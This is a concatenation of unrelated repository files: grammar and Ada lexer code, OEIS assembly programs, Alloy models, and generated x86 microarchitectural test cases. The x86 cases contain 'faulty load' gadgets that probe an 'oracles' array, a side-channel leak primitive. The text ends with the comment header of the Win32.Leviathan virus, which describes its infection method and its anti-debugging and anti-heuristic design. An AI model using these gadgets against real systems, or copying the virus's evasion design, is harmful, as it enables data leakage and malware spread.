// ----------------------------------------------------------------------------------
ID
: [a-zA-Z]+
;
INT
: ('-'|'+')?[0-9]+
;
DOUBLE
: ('-'|'+')?[0-9]*'.'[0-9]+
;
STRING
: '"' .*? '"'
;
MULT
: '*'
;
DIV
: '/'
;
ADD
: '+'
;
SUB
: '-'
;
INCREMENT
: '++'
;
DECREMENT
: '--'
;
MODULO
: '%'
;
GREATER_EQUAL
: '>='
;
GREATER
: '>'
;
LESS_EQUAL
: '<='
;
LESS
: '<'
;
EQUAL
: '=='
;
OPEN_P
: '('
;
CLOSE_P
: ')'
;
OPEN_B
: '{'
;
CLOSE_B
: '}'
;
func
: 'fun'
;
WS : [ \t\r\n]+ -> skip ; |
source/ada/incr-ada_lexers.adb | reznikmm/increment | 5 | 14181 | -- Copyright (c) 2015-2017 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Ada.Containers.Hashed_Maps;
with League.Strings.Hash;
package body Incr.Ada_Lexers is
package body Tables is separate;
package Maps is new Ada.Containers.Hashed_Maps
(Key_Type => League.Strings.Universal_String,
Element_Type => Token,
Hash => League.Strings.Hash,
Equivalent_Keys => League.Strings."=",
"=" => Lexers.Batch_Lexers."=");
Default : constant Lexers.Batch_Lexers.State := 0;
Apostrophe : constant Lexers.Batch_Lexers.State := 87;
Map : Maps.Map;
-- Our batch lexer return token codes in this order:
Convert : constant array (Token range 1 .. 107) of Token :=
(Arrow_Token,
Double_Dot_Token,
Double_Star_Token,
Assignment_Token,
Inequality_Token,
Greater_Or_Equal_Token,
Less_Or_Equal_Token,
Left_Label_Token,
Right_Label_Token,
Box_Token,
Ampersand_Token,
Apostrophe_Token,
Left_Parenthesis_Token,
Right_Parenthesis_Token,
Star_Token,
Plus_Token,
Comma_Token,
Hyphen_Token,
Dot_Token,
Slash_Token,
Colon_Token,
Semicolon_Token,
Less_Token,
Equal_Token,
Greater_Token,
Vertical_Line_Token,
Identifier_Token,
Numeric_Literal_Token,
Character_Literal_Token,
String_Literal_Token,
Comment_Token,
Space_Token,
New_Line_Token,
Error_Token,
Abort_Token,
Abs_Token,
Abstract_Token,
Accept_Token,
Access_Token,
Aliased_Token,
All_Token,
And_Token,
Array_Token,
At_Token,
Begin_Token,
Body_Token,
Case_Token,
Constant_Token,
Declare_Token,
Delay_Token,
Delta_Token,
Digits_Token,
Do_Token,
Else_Token,
Elsif_Token,
End_Token,
Entry_Token,
Exception_Token,
Exit_Token,
For_Token,
Function_Token,
Generic_Token,
Goto_Token,
If_Token,
In_Token,
Interface_Token,
Is_Token,
Limited_Token,
Loop_Token,
Mod_Token,
New_Token,
Not_Token,
Null_Token,
Of_Token,
Or_Token,
Others_Token,
Out_Token,
Overriding_Token,
Package_Token,
Pragma_Token,
Private_Token,
Procedure_Token,
Protected_Token,
Raise_Token,
Range_Token,
Record_Token,
Rem_Token,
Renames_Token,
Requeue_Token,
Return_Token,
Reverse_Token,
Select_Token,
Separate_Token,
Some_Token,
Subtype_Token,
Synchronized_Token,
Tagged_Token,
Task_Token,
Terminate_Token,
Then_Token,
Type_Token,
Until_Token,
Use_Token,
When_Token,
While_Token,
With_Token,
Xor_Token);
overriding procedure Get_Token
(Self : access Batch_Lexer;
Result : out Lexers.Batch_Lexers.Rule_Index)
is
use type Lexers.Batch_Lexers.Rule_Index;
use type Lexers.Batch_Lexers.State;
Start : constant Lexers.Batch_Lexers.State := Self.Get_Start_Condition;
begin
if Start = Apostrophe then
Self.Set_Start_Condition (Default);
end if;
Base_Lexers.Batch_Lexer (Self.all).Get_Token (Result);
if Result = 34 then
Result := Vertical_Line_Token;
elsif Result = 35 then
Result := Numeric_Literal_Token;
elsif Result = 36 then
Result := String_Literal_Token;
elsif Result > 36 then
Result := Error_Token;
elsif Result = 27 then
declare
Text : constant League.Strings.Universal_String :=
Self.Get_Text.To_Casefold;
Cursor : constant Maps.Cursor := Map.Find (Text);
begin
if Maps.Has_Element (Cursor) then
Result := Maps.Element (Cursor);
if Start = Apostrophe and Result /= Range_Token then
Result := Identifier_Token;
end if;
else
Result := Identifier_Token;
end if;
end;
elsif Result > 0 then
Result := Convert (Result);
end if;
if Result = Apostrophe_Token then
Self.Set_Start_Condition (Apostrophe);
else
Self.Set_Start_Condition (Default);
end if;
end Get_Token;
function "+" (V : Wide_Wide_String) return League.Strings.Universal_String
renames League.Strings.To_Universal_String;
begin
Map.Insert (+"abort", Abort_Token);
Map.Insert (+"abs", Abs_Token);
Map.Insert (+"abstract", Abstract_Token);
Map.Insert (+"accept", Accept_Token);
Map.Insert (+"access", Access_Token);
Map.Insert (+"aliased", Aliased_Token);
Map.Insert (+"all", All_Token);
Map.Insert (+"and", And_Token);
Map.Insert (+"array", Array_Token);
Map.Insert (+"at", At_Token);
Map.Insert (+"begin", Begin_Token);
Map.Insert (+"body", Body_Token);
Map.Insert (+"case", Case_Token);
Map.Insert (+"constant", Constant_Token);
Map.Insert (+"declare", Declare_Token);
Map.Insert (+"delay", Delay_Token);
Map.Insert (+"delta", Delta_Token);
Map.Insert (+"digits", Digits_Token);
Map.Insert (+"do", Do_Token);
Map.Insert (+"else", Else_Token);
Map.Insert (+"elsif", Elsif_Token);
Map.Insert (+"end", End_Token);
Map.Insert (+"entry", Entry_Token);
Map.Insert (+"exception", Exception_Token);
Map.Insert (+"exit", Exit_Token);
Map.Insert (+"for", For_Token);
Map.Insert (+"function", Function_Token);
Map.Insert (+"generic", Generic_Token);
Map.Insert (+"goto", Goto_Token);
Map.Insert (+"if", If_Token);
Map.Insert (+"in", In_Token);
Map.Insert (+"interface", Interface_Token);
Map.Insert (+"is", Is_Token);
Map.Insert (+"limited", Limited_Token);
Map.Insert (+"loop", Loop_Token);
Map.Insert (+"mod", Mod_Token);
Map.Insert (+"new", New_Token);
Map.Insert (+"not", Not_Token);
Map.Insert (+"null", Null_Token);
Map.Insert (+"of", Of_Token);
Map.Insert (+"or", Or_Token);
Map.Insert (+"others", Others_Token);
Map.Insert (+"out", Out_Token);
Map.Insert (+"overriding", Overriding_Token);
Map.Insert (+"package", Package_Token);
Map.Insert (+"pragma", Pragma_Token);
Map.Insert (+"private", Private_Token);
Map.Insert (+"procedure", Procedure_Token);
Map.Insert (+"protected", Protected_Token);
Map.Insert (+"raise", Raise_Token);
Map.Insert (+"range", Range_Token);
Map.Insert (+"record", Record_Token);
Map.Insert (+"rem", Rem_Token);
Map.Insert (+"renames", Renames_Token);
Map.Insert (+"requeue", Requeue_Token);
Map.Insert (+"return", Return_Token);
Map.Insert (+"reverse", Reverse_Token);
Map.Insert (+"select", Select_Token);
Map.Insert (+"separate", Separate_Token);
Map.Insert (+"some", Some_Token);
Map.Insert (+"subtype", Subtype_Token);
Map.Insert (+"synchronized", Synchronized_Token);
Map.Insert (+"tagged", Tagged_Token);
Map.Insert (+"task", Task_Token);
Map.Insert (+"terminate", Terminate_Token);
Map.Insert (+"then", Then_Token);
Map.Insert (+"type", Type_Token);
Map.Insert (+"until", Until_Token);
Map.Insert (+"use", Use_Token);
Map.Insert (+"when", When_Token);
Map.Insert (+"while", While_Token);
Map.Insert (+"with", With_Token);
Map.Insert (+"xor", Xor_Token);
end Incr.Ada_Lexers;
|
programs/oeis/033/A033436.asm | karttu/loda | 1 | 14761 | ; A033436: a(n) = ceiling( (3*n^2 - 4)/8 ).
; 0,0,1,3,6,9,13,18,24,30,37,45,54,63,73,84,96,108,121,135,150,165,181,198,216,234,253,273,294,315,337,360,384,408,433,459,486,513,541,570,600,630,661,693,726,759,793,828,864,900,937,975,1014,1053,1093,1134,1176,1218,1261,1305,1350,1395,1441,1488,1536,1584,1633,1683,1734,1785,1837,1890,1944,1998,2053,2109,2166,2223,2281,2340,2400,2460,2521,2583,2646,2709,2773,2838,2904,2970,3037,3105,3174,3243,3313,3384,3456,3528,3601,3675,3750,3825,3901,3978,4056,4134,4213,4293,4374,4455,4537,4620,4704,4788,4873,4959,5046,5133,5221,5310,5400,5490,5581,5673,5766,5859,5953,6048,6144,6240,6337,6435,6534,6633,6733,6834,6936,7038,7141,7245,7350,7455,7561,7668,7776,7884,7993,8103,8214,8325,8437,8550,8664,8778,8893,9009,9126,9243,9361,9480,9600,9720,9841,9963,10086,10209,10333,10458,10584,10710,10837,10965,11094,11223,11353,11484,11616,11748,11881,12015,12150,12285,12421,12558,12696,12834,12973,13113,13254,13395,13537,13680,13824,13968,14113,14259,14406,14553,14701,14850,15000,15150,15301,15453,15606,15759,15913,16068,16224,16380,16537,16695,16854,17013,17173,17334,17496,17658,17821,17985,18150,18315,18481,18648,18816,18984,19153,19323,19494,19665,19837,20010,20184,20358,20533,20709,20886,21063,21241,21420,21600,21780,21961,22143,22326,22509,22693,22878,23064,23250
pow $0,2
mul $0,3
div $0,8
mov $1,$0
|
alloy4fun_models/trashltl/models/19/Rs57kKMuvMCuZfWMA.als | Kaixi26/org.alloytools.alloy | 0 | 363 | <gh_stars>0
open main
pred idRs57kKMuvMCuZfWMA_prop20 {
always (all f:Trash | f not in Protected triggered f in Trash)
}
pred __repair { idRs57kKMuvMCuZfWMA_prop20 }
check __repair { idRs57kKMuvMCuZfWMA_prop20 <=> prop20o } |
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca_notsx.log_34_1294.asm | ljhsiun2/medusa | 9 | 95755 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1207b, %rbp
sub %r14, %r14
movups (%rbp), %xmm4
vpextrq $0, %xmm4, %r15
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0xd11b, %rax
nop
nop
nop
cmp $43056, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rax)
nop
nop
cmp $42898, %rsi
lea addresses_normal_ht+0xa3d6, %rax
nop
nop
nop
xor $32331, %rdx
mov (%rax), %r15w
nop
nop
nop
nop
cmp $36720, %rdx
lea addresses_D_ht+0xf7d3, %rax
nop
nop
nop
nop
nop
and $36659, %rsi
movups (%rax), %xmm1
vpextrq $1, %xmm1, %r14
nop
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x833b, %rbx
nop
inc %r14
movl $0x61626364, (%rbx)
and %r14, %r14
lea addresses_A_ht+0x187d3, %rbx
nop
nop
sub %rdx, %rdx
movl $0x61626364, (%rbx)
nop
nop
add %rax, %rax
lea addresses_WT_ht+0xc6e7, %r14
nop
nop
nop
sub %rbx, %rbx
mov (%r14), %esi
nop
nop
nop
dec %rax
lea addresses_D_ht+0x11cd3, %rsi
lea addresses_WT_ht+0x10233, %rdi
nop
nop
sub %r15, %r15
mov $64, %rcx
rep movsb
nop
dec %rsi
lea addresses_A_ht+0x5d0f, %r15
clflush (%r15)
nop
nop
nop
nop
cmp $48564, %r14
vmovups (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
nop
sub %rbx, %rbx
lea addresses_WT_ht+0xfcb3, %rsi
lea addresses_normal_ht+0xeeb3, %rdi
nop
nop
dec %rdx
mov $93, %rcx
rep movsl
nop
nop
sub %rbp, %rbp
lea addresses_A_ht+0x38b3, %rax
nop
nop
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rax)
cmp $14837, %rbp
lea addresses_WC_ht+0xdeb3, %rsi
lea addresses_A_ht+0x5253, %rdi
nop
nop
dec %rax
mov $16, %rcx
rep movsb
nop
nop
xor $6611, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rdx
// Store
lea addresses_A+0xa273, %rcx
nop
nop
and $27448, %r10
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rcx)
add %rcx, %rcx
// Load
lea addresses_WT+0x1fa17, %r12
nop
nop
nop
add %rdx, %rdx
movb (%r12), %r8b
xor %r14, %r14
// Store
lea addresses_A+0x102b3, %r14
nop
nop
nop
add %r12, %r12
movw $0x5152, (%r14)
nop
nop
cmp $49136, %r10
// Faulty Load
lea addresses_US+0x9eb3, %rdi
nop
nop
nop
nop
and %r10, %r10
mov (%rdi), %r14w
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'00': 34}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
alloy4fun_models/trashltl/models/9/5KKiZEDnapmuRraEP.als | Kaixi26/org.alloytools.alloy | 0 | 4997 | open main
pred id5KKiZEDnapmuRraEP_prop10 {
all p: Protected | p' in Protected
}
pred __repair { id5KKiZEDnapmuRraEP_prop10 }
check __repair { id5KKiZEDnapmuRraEP_prop10 <=> prop10o } |
oeis/004/A004686.asm | neoneye/loda-programs | 11 | 18696 | <reponame>neoneye/loda-programs<filename>oeis/004/A004686.asm<gh_stars>10-100
; A004686: Fibonacci numbers written in base 3.
; 0,1,1,2,10,12,22,111,210,1021,2001,10022,12100,22122,111222,211121,1100120,2012011,10112201,12201212,100021120,120000102,220021222,1110022101,2100121100,10210220201,20011112001,100222102202,121010221210,222010101112,1120021100022,2112101201211,11002200002010,20122001210221,101201201220001,122100210200222,1001002112121000,1200110100021222,2201112212212222,11102000020011221,21010120010001220,102112120100020211,200200010110022201,1010012200210120112,1210212211020220020,2221002112001110202
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
seq $0,7089 ; Numbers in base 3.
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_13461_1210.asm | ljhsiun2/medusa | 9 | 167150 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x19282, %rsi
lea addresses_D_ht+0x1cab, %rdi
nop
nop
nop
and %r14, %r14
mov $51, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0xba, %r14
nop
xor $14290, %rdi
movw $0x6162, (%r14)
nop
nop
nop
nop
and $5359, %rsi
lea addresses_WC_ht+0x7e82, %r12
nop
nop
add $26780, %rcx
movb $0x61, (%r12)
cmp $58241, %rdi
lea addresses_WC_ht+0x3430, %rsi
lea addresses_normal_ht+0x16882, %rdi
nop
nop
mfence
mov $31, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rdi
lea addresses_D_ht+0xf682, %rsi
lea addresses_WT_ht+0x17682, %rdi
sub $44223, %rax
mov $127, %rcx
rep movsw
nop
xor $25182, %rdi
lea addresses_WC_ht+0xedac, %rbx
nop
nop
cmp $17618, %r12
movb (%rbx), %r14b
nop
nop
nop
nop
sub %rax, %rax
lea addresses_A_ht+0x60ba, %rsi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %rax
movq %rax, (%rsi)
nop
and %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x1e682, %r8
nop
nop
nop
nop
nop
cmp $2823, %r12
movb $0x51, (%r8)
nop
and %r14, %r14
// REPMOV
lea addresses_A+0xf7a0, %rsi
lea addresses_RW+0x3dd0, %rdi
nop
nop
nop
nop
nop
inc %r8
mov $106, %rcx
rep movsw
nop
nop
nop
xor $52801, %r8
// Store
lea addresses_D+0x18922, %rdi
nop
nop
nop
nop
nop
inc %r11
movw $0x5152, (%rdi)
nop
nop
nop
nop
xor %rsi, %rsi
// Faulty Load
lea addresses_PSE+0x1f682, %rcx
nop
nop
cmp $27506, %r14
mov (%rcx), %r11d
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_A', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_RW', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'33': 13461}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
archive/agda-2/Oscar/Relation.agda | m0davis/oscar | 0 | 15944 | <gh_stars>0
module Oscar.Relation where
open import Oscar.Level
_⟨_⟩→_ : ∀ {a} {A : Set a} {b} → A → (A → Set b) → A → Set b
m ⟨ B ⟩→ n = B m → B n
Transitive : ∀ {a} {A : Set a} {b} (B : A → A → Set b) → Set (a ⊔ b)
Transitive B = ∀ {y z} → B y z → ∀ {x} → B x y → B x z
module _ {𝔬} {⋆ : Set 𝔬} {𝔪} {_↦_ : ⋆ → ⋆ → Set 𝔪} (_∙_ : Transitive _↦_) {𝔮} (_≞_ : ∀ {x} {y} → x ↦ y → x ↦ y → Set 𝔮) where
Extensional : Set (𝔬 ⊔ 𝔪 ⊔ 𝔮)
Extensional =
∀ {x y} {f₁ f₂ : x ↦ y}
→ f₁ ≞ f₂ → ∀ {z} {g₁ g₂ : y ↦ z}
→ g₁ ≞ g₂
→ (g₁ ∙ f₁) ≞ (g₂ ∙ f₂)
Associative : Set (𝔬 ⊔ 𝔪 ⊔ 𝔮)
Associative =
∀ {w x}
(f : w ↦ x)
{y}
(g : x ↦ y)
{z}
(h : y ↦ z)
→ ((h ∙ g) ∙ f) ≞ (h ∙ (g ∙ f))
|
programs/oeis/343/A343720.asm | neoneye/loda | 22 | 91028 | <filename>programs/oeis/343/A343720.asm
; A343720: Triangle read by rows: T(n,k) = k^2 mod n for k = 0..n-1, n >= 1.
; 0,0,1,0,1,1,0,1,0,1,0,1,4,4,1,0,1,4,3,4,1,0,1,4,2,2,4,1,0,1,4,1,0,1,4,1,0,1,4,0,7,7,0,4,1,0,1,4,9,6,5,6,9,4,1,0,1,4,9,5,3,3,5,9,4,1,0,1,4,9,4,1,0,1,4,9,4,1,0,1,4,9,3,12,10,10,12,3,9,4,1
lpb $0
mov $1,$0
add $2,1
trn $0,$2
pow $1,2
mod $1,$2
lpe
mov $0,$1
|
Win32/Win32.Leviathan/Win32.Leviathan.asm | fengjixuchui/Family | 3 | 240586 | <reponame>fengjixuchui/Family
;======================================
;| Win32.Leviathan (c) 1999 by Benny |
;======================================
;
;
;
;Author's description
;=====================
;
;I'm very proud to introduce my third Win32 virus. This honey is the FIRST MULTITHREADED
;semi-polymorphic antidebuggin' antiheuristic Win32 infector. Thats not all. This is also
;first virus simulatin' NEURAL NETS. Each neuron is simulated as one thread.
;Dendrits (more inputs) and Axons (one output) r coded as normal function parameters.
;Synapses ("conectors" linkin' neurons) r represented as single jumps and synchronizin'
;stuff. In bio-neurons, memory and ability to learn is in fact nothing other than
;swappin' synapses. This virus doesn't contain any learn-abilities, 'cause i've decided,
;there's nothing important to learn. Now, tell me, if u wanna have uncompleted virus that
;needs to teach step by step every shit, u want to be able to do it. I think, u don't
;and I don't want it too. But next version, i will improve it, i swear :-D.
;As u can see, this virus is wrote in very short time (ask Super for reason, hehe),
;so if u will see any errors, mail me to <EMAIL>. I'm expectin' the most errors
;and mistypes will be present in synchronizin' stuff. I know, that method of
;synchronizin' of threads is the worst, I could choose, but it has two reasons - debuggers
;and heuristic scanners. ALL threads r runnin' on the background, so EVERY heuristic
;scanner that wants to detect it MUST support multi-threadin'. That's not easy to code,
;so this is the best anti-heuristic, I know. It works well also for debuggers. When u will
;step this, u will see only some decryptor, some API calls and "infinite" loop. But all
;other stuff is runnin' on the background, so u have to watch all threads. And that's not
;all, u have to watch and skip one "anti-debuggin'" thread, if u hate problems
;with debuggin' :D. And the last thing: This virus is unoptimized, i know that. It's
;simulatin' program written in some HLL language. It uses many instructions, many loops,
;many jumps and many variables. Heuristic scanner must have very large stack to handle
;this babe... (the biggest problem is speed of infected programs, but who cares...:D)
;
;I think, this is the first step of makin' really armoured, anti-debuggin', anti-heuristic
;and (the most important thing) "inteligent" viruses.
;
;
;
;Payload
;--------
;
;If the virus has done at least 30 generation, u will see dialog box with some
;comments.
;
;
;
;AVP's description
;==================
;
;It is not a dangerous nonmemory resident encrypted parasitic Windows32 virus. It searches
;for PE EXE files (Windows executable files) in the current directory, then writes itself
;to the end of the file. While infecting the virus writes itself to the end of last file
;section, increases its size and modifies program's startup address.
;
;Starting from the 30th generation the virus displays the message window, they are different in
;different virus versions:
;
;
;Levi.3040
;----------
;
;Displays the following text:
;
; Win32.Wildfire (c) 1998 Magnic
; I am/I can - The Wildfire virus.
; -d e c o d e-
; idwhereamif73hrjddhffidosyeudifr
; ghfeugenekasperskydjfkdjisfatued
; 938rudandmydickisgrowingehdjfggk
;
;
;Levi.3236
;----------
;
;Displays the following text:
;
; Hey stupid !
; Win32.Leviathan (c) 1999 by Benny
; This is gonna be your nightmare...
; 30th generation of Leviathan is here... beware of me !
; Threads are stripped, ship is sinkin'...
;
; Greetz: Darkman/29A
; Super/29A
; <NAME>/DDT
; and all other 29Aers...
;
; Special greet:
; <NAME>
;
; New milenium is knockin on the door...
; New generation of viruses is here, nothing promised, no regret.
;
;
;While infecting the virus runs seven threads from its main procedure. Each thread performs only
